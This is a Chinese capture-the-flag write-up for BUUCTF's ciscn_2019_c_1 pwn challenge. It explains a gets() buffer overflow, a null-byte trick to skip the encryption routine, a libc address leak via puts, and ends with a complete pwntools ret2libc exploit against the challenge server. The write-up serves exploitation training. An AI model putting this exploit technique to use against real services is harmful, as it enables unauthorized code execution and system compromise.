[BUUCTF]PWN6——ciscn_2019_c_1

[BUUCTF]PWN6——ciscn_2019_c_1

题目网址:https://buuoj.cn/challenges#ciscn_2019_c_1

步骤
例行检查,64位,开启了nx保护
[BUUCTF]PWN6——ciscn_2019_c_1_第1张图片
nc一下,看看输入点的字符串,三个选项加密、解密、退出
[BUUCTF]PWN6——ciscn_2019_c_1_第2张图片
用64位ida打开,先是shift+f12查看一下程序里的字符串
[BUUCTF]PWN6——ciscn_2019_c_1_第3张图片
没有发现system函数和字符串“bin/sh”,先根据输入点的字符串查看一下主要函数
[BUUCTF]PWN6——ciscn_2019_c_1_第4张图片
就像一开始说的程序的功能就是加密和解密,看伪代码可以知道,只有选1的时候才会调用encrypt()这个应该是加密函数,其余选项没有利用点

看一下encrypt()伪代码
[BUUCTF]PWN6——ciscn_2019_c_1_第5张图片

输入点在第10行gets函数没有限制读入的长度,可以造成溢出,这题没有现成的system(’/bin/sh‘)或者cat flag可以让我们直接利用,所以需要我们自己想办法让程序调用这些命令

从11行到33行是我们的加密函数的加密过程部分,它会对我们输入的字符串进行操作,为了保证我们构造的rop不会被破坏,要想办法绕过加密,14行的if判断里有个strlen函数,strlen的作用是得知字符串的长度,但是遇到’\0‘就会停止,所以我们在构造rop的时候可以在字符串前加上’\0‘来绕过加密

这一类题目的基本做法

1.利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使
用的libc的版本。

2.程序里的函数的地址跟它所使用的libc里的函数地址不一样,程序里函数地址=libc里的函数地址+偏移
量,在1中找到了libc的版本,用同一个程序里函数的地址-libc里的函数地址即可得到偏移量

3.得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后我们就可以构造rop去执
行system(’/bin/sh‘)这样的命令

利用过程

可以在上面的程序伪代码中看到,程序执行过了puts函数,我们就利用它的plt和got地址来泄露我们的 ibc版本,这里用到了一个延迟绑定技术,具体的可以看我下面给的这个链接,这个老师具体讲了一下这种类型题目的做法,还有延迟绑定技术
https://m.weishi100.com/mweb/single/?id=2567662

1.泄露libc版本

r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)   #首位填‘\0’,绕过加密,之后填上a覆盖到返回地址
payload+=p64(pop_rdi)
payload+=p64(puts_got)   #设置rdi寄存器的值为puts的got表地址
payload+=p64(puts_plt)   #调用puts函数,输出的是puts的got表地址
payload+=p64(main)       #设置返回地址,上述步骤完成了输出了puts函数的地址,我们得控制程序执行流
                         #让它返回到main函数,这样我们才可以再一次利用输入点构造rop 

r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))#接收程序返回的地址
                                                   #lijust(8,‘\0’),不满8位的用0补足
libc=LibcSearcher('puts',puts_addr)  #利用LibcSearcher模块找到匹配的libc版本                   

没有安装LibcSearcher模块的可以根据下面的这个链接下载安装
https://blog.csdn.net/neuisf/article/details/103829683

下面粘贴一个在线查找libc版本的网站: https://libc.blukat.me/
我是比较习惯于用LibcSearcher来找libc版本,我们也可以在上面那个网站上利用函数的末3位找到libc版本
[BUUCTF]PWN6——ciscn_2019_c_1_第6张图片
在这里插入图片描述

[:-1]是python里的切片用法,执行过程如下,上述代码中这样写是为了舍弃接收到的字符串最后的’\x0’
在这里插入图片描述
我这一道题是64位的程序,这边涉及到64位程序和32位程序运行时的区别了
32位程序运行执行指令的时候直接去内存地址寻址执行
64位程序则是通过寄存器来传址,寄存器去内存寻址,找到地址返回给程序
[BUUCTF]PWN6——ciscn_2019_c_1_第7张图片

因此我这题需要借用寄存器来传参

ROPgadget  --binary ciscn_2019_c_1 |grep "pop rdi"

在这里插入图片描述

2.算出偏移量,算出system函数和“bin/sh”字符串地址

libc=LibcSearcher('puts',puts_addr)     #找到libc版本
offset=puts_addr-libc.dump('puts')     #算出偏移量
binsh=offset+libc.dump('str_bin_sh')   #偏移量+libc函数地址=实际函数地址
system=offset+libc.dump('system')

3.构造rop执行system(‘/bin/sh’)

payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

特别注意到题目是部署在Ubuntu18上的,因此调用system需要栈对齐,这里填充ret来对齐

ROPgadget  --binary ciscn_2019_c_1 |grep ret

在这里插入图片描述
完整exp:

from pwn import*
from LibcSearcher import*

r=remote('node3.buuoj.cn',28214)
elf=ELF('./ciscn_2019_c_1')

main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(puts_addr)

libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')

r.sendlineafter('choice!\n','1')

payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

r.sendlineafter('encrypted\n',payload)

r.interactive()

运行的时候发现找到了两个匹配的libc版本,自己尝试一下,这边应该选1
[BUUCTF]PWN6——ciscn_2019_c_1_第8张图片

你可能感兴趣的:(BUUCTF刷题记录,PWN)